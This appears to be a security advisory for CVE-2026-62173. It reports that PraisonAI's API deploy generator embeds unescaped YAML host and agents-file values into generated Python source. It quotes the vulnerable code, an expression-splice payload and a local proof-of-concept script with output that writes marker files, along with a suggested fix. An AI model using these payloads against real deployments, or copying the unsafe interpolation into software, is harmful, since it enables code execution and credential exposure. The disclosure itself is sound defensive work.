PT-2026-108711 · Pypi · Praisonai
CVE-2026-62173
·
Publicado
2026-10-08
·
Atualizado
2026-10-08
CVSS v3.1
7.8
Alta
| Vetor | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
API deploy code generator embeds unescaped YAML fields into Python source
Summary
PraisonAI's API deployment generator copies
deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.Technical Details
The vulnerable path starts with deployment configuration parsing.
Deploy.from yaml() reads the operator-supplied agents.yaml, validate agents yaml() accepts deploy.api.host as a string, and API deployments call start api server(self.agents file, self.config.api). start api server() calls generate api server code() and executes the generated Python file with python.The current generator in
src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:python
def generate api server code(agents file: str, config: Optional[APIConfig] = None) -> str:
...
code = f'''"""
...
praisonai = PraisonAI(agent file="{agents file}")
...
"agent file": "{agents file}"
...
app.run(
host='{config.host}',
port={config.port},
debug={config.reload}
)
'''The violated invariant is that deployment configuration values should remain inert strings. Instead,
config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:text
' + ( import ("pathlib").Path("poc.txt").write text("DEPLOY API HOST CODE EXECUTED") and "") + 'The generated startup code then becomes equivalent to:
python
app.run(
host='' + ( import ("pathlib").Path("poc.txt").write text("DEPLOY API HOST CODE EXECUTED") and "") + '',
port=8005,
debug=False,
)That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
agents file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.PoV
The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as
main; it also includes a safe-host negative control and the secondary agents file route-time interpolation check.python
from pathlib import Path
import json
import sys
import tempfile
import types
import yaml
def install stubs():
class FakeApp:
def init (self, name):
self.name = name
def route(self, *args, **kwargs):
def deco(func):
return func
return deco
def run(self, *args, **kwargs):
return None
flask = types.ModuleType("flask")
flask.Flask = FakeApp
flask.request = types.SimpleNamespace(headers={}, get json=lambda: {"message": "hello"})
flask.jsonify = lambda obj: obj
sys.modules["flask"] = flask
flask cors = types.ModuleType("flask cors")
flask cors.CORS = lambda app: app
sys.modules["flask cors"] = flask cors
praisonai mod = types.ModuleType("praisonai")
class FakePraisonAI:
def init (self, agent file):
self.agent file = agent file
def run(self):
return "ok"
praisonai mod.PraisonAI = FakePraisonAI
sys.modules["praisonai"] = praisonai mod
def main(repo):
sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
from praisonai.deploy.api import generate api server code
from praisonai.deploy.models import APIConfig
from praisonai.deploy.schema import validate agents yaml
install stubs()
with tempfile.TemporaryDirectory() as tmp:
tmp path = Path(tmp)
host marker = tmp path / "host-marker.txt"
file marker = tmp path / "agent-file-marker.txt"
host payload = "' + ( import ("pathlib").Path(" + repr(str(host marker)) + ").write text("DEPLOY API HOST CODE EXECUTED") and "") + '"
agents yaml = tmp path / "agents.yaml"
agents yaml.write text(yaml.safe dump({
"deploy": {
"type": "api",
"api": {"host": host payload, "port": 8005, "auth enabled": False},
},
"agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
}))
parsed config = validate agents yaml(str(agents yaml))
results = []
for label, config in [
("safe host", APIConfig(host="127.0.0.1", auth enabled=False)),
("malicious host from yaml", parsed config.api),
]:
host marker.unlink(missing ok=True)
code = generate api server code("agents.yaml", config)
compile(code, f"<generated-{label}>", "exec")
exec(code, {" name ": " main "})
results.append({
"case": label,
"compiled": True,
"host preserved by yaml parser": config.host == host payload if label.startswith("malicious") else None,
"marker exists after startup": host marker.exists(),
"marker contents": host marker.read text() if host marker.exists() else None,
"generated contains raw host": config.host in code,
})
file payload = "" + ( import ("pathlib").Path(" + repr(str(file marker)) + ").write text("DEPLOY API AGENT FILE CODE EXECUTED") and "") + ""
file marker.unlink(missing ok=True)
code = generate api server code(file payload, APIConfig(host="127.0.0.1", auth enabled=False))
compile(code, "<generated-agent-file>", "exec")
namespace = {" name ": "generated agent file"}
exec(code, namespace)
namespace["list agents"]()
results.append({
"case": "malicious agent file route value",
"compiled": True,
"marker exists after list agents": file marker.exists(),
"marker contents": file marker.read text() if file marker.exists() else None,
"generated contains raw agent file": file payload in code,
})
print(json.dumps(results, indent=2))
return 0 if results[1]["marker exists after startup"] and results[2]["marker exists after list agents"] else 1
if name == " main ":
raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))PoC
Command used against current source:
sh
uv run --with pydantic --with pyyaml python pov deploy api config injection.py /path/to/PraisonAIDecisive output:
json
[
{
"case": "safe host",
"compiled": true,
"host preserved by yaml parser": null,
"marker exists after startup": false,
"marker contents": null,
"generated contains raw host": true
},
{
"case": "malicious host from yaml",
"compiled": true,
"host preserved by yaml parser": true,
"marker exists after startup": true,
"marker contents": "DEPLOY API HOST CODE EXECUTED",
"generated contains raw host": true
},
{
"case": "malicious agent file route value",
"compiled": true,
"marker exists after list agents": true,
"marker contents": "DEPLOY API AGENT FILE CODE EXECUTED",
"generated contains raw agent file": true
}
]The
safe host negative control compiles and evaluates the generated module without a marker side effect. The malicious host from yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious agent file route value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.Impact
If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.
Suggested Fix
Do not interpolate deployment values directly into generated Python source. Use
repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.Affected Package/Versions
Package:
praisonaiConfirmed current head:
1620b49f36945d8cc8ee5635b906c960df5097a0Static sweep:
| Target | Result |
|---|---|
v4.5.128 | affected; raw agents file and config.host interpolation present |
v4.6.58 | affected; raw agents file and config.host interpolation present |
v4.6.59 | affected; raw agents file and config.host interpolation present |
v4.6.60 | affected; raw agents file and config.host interpolation present |
v4.6.62 | affected; raw agents file and config.host interpolation present |
v4.6.63 | affected; raw agents file and config.host interpolation present |
current 1620b49f | affected; raw agents file and config.host interpolation present |
Suggested severity: High
Suggested CVSS v3.1:
text
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HSuggested CWEs:
- CWE-94: Improper Control of Generation of Code
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
- CWE-116: Improper Encoding or Escaping of Output
Advisory History
The closest same-generator comparator is
GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate api server code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents file, not unauthenticated request access to the generated API.This is also distinct from
GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate api server code().AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.
References
src/praisonai/praisonai/deploy/api.py:generate api server code()andstart api server()src/praisonai/praisonai/deploy/main.py:Deploy.from yaml()and API/Docker deployment pathssrc/praisonai/praisonai/cli/features/deploy.py: CLI deployment handlerGHSA-8444-4fhq-fxpq: priorpraisonai deploy --type apigenerated API server authentication-default issueGHSA-6rmh-7xcm-cpxj/CVE-2026-44338: prior generated API server authentication issue- CWE-94: https://cwe.mitre.org/data/definitions/94.html
- CWE-95: https://cwe.mitre.org/data/definitions/95.html
- CWE-116: https://cwe.mitre.org/data/definitions/116.html
Correção
Improper Encoding or Escaping of Output
Code Injection
Eval Injection
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Praisonai